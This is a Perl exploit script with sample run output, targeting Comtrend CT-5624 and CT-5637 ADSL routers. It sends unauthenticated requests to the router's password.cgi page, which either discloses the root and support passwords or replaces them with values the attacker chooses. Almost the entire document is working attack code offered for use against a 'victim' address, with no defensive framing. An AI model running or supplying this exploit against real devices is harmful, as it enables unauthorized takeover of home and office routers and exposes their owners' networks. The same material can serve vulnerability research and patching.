#!/usr/bin/perl
#
#[+] Comtrend Router CT-5624 Remote Root/Support Password Disclosure/Change Exploit
#
#Author: Todor Donev
#Email: todor.donev@@gmail
#Type: Hardware
#Vuln Type: Remote
#
#Tested:
#Board ID: CT-5624
#Software: A011-306TSR-C01_R03
#Bootloader: 1.0.37-0.7-3
#ADSL: A2pB022c3.d20e
#
#Board ID: CT-5637
#Software: A111-312BTC-C01_R12
#Bootloader: 1.0.37-12.1-1
#ADSL: A2pB023k.d20k_rc2
#
#####
#CT-5624 ADSL2+ Ethernet Router
#The CT-5624 series ADSL2+ compact and high performance Ethernet router
#provides four 10/100 Ethernet Interfaces, and one ADSL line interface
#to access the Internet, incorporating LAN or Video on Demand over one
#ordinary telephone line, at speeds of up to 24 Mbps. It also has full
#routing capabilities to segment/route IP protocol, and supports advanced
#security functions.
#####
#
#playground$ perl comtrend.pl -c 192.168.1.1:80
#[+] Comtrend CT5624 Router Remote Root/Support Password Disclosure/Change Exploit
#[!] Target: 192.168.1.1:80
#[o] New root password: root31337
#[o] New support password: sup31337
#[*] Successfully !!
##
#playground$ perl comtrend.pl -d 192.168.1.1:80
#[+] Comtrend CT5624 Router Remote Root/Support Password Disclosure/Change Exploit
#[!] Target: 192.168.1.1:80
#[o] root: root31337
#[o] support: sup31337
##
#playground$ perl comtrend.pl
#[+] Comtrend CT5624 Router Remote Root/Support Password Disclosure/Change Exploit
#[!] usg: perl comtrend.pl [-c or -d] <victim>
#[!]-d: Disclosure Root/Support password
#[!]-c: Change Root/Support password
#
#####
#Thanks to Tsvetelina Emirska
#for the help and support which gives me =)
#####
use LWP::Simple;
print "[+] Comtrend CT5624 Router Remote Root/Support Password Disclosure/Change Exploit\n";
if (@ARGV == 0) {&usg;}
while (@ARGV > 0) {
$type = shift(@ARGV);
$t = shift(@ARGV);
if ($type eq "-d") {
my $r = get("http://$t/password.cgi") or die("suck!");
print "[!] Target: $t\n";
if ($r =~ m/pwdAdmin = '(.*)';/g) {
$result .= "[o] root: $1\n";
}
if ($r =~ m/pwdSupport = '(.*)';/g) {
$result .= "[o] support: $1\n";
print $result;
}}}
if ($type eq "-c") {
print "[!] Target: $t\n";
print "[o] New root password: ";
my $rootpass=<STDIN>;
chomp($rootpass);
print "[o] New support password: ";
my $suppass=<STDIN>;
chomp($suppass);
my $r = get("http://$t/password.cgi?sysPassword=$rootpass&sptPassword=$suppass") or die("suck!");
if ($r =~ m/pwdAdmin = '$rootpass';/g) {
print "[*] Successfully !!\n";
}}
sub usg(){
print "[!] usg: perl comtrend.pl [-c or -d] <victim>\n";
print "[!]-d: Disclosure Root/Support password\n";
print "[!]-c: Change Root/Support password\n";
exit;
}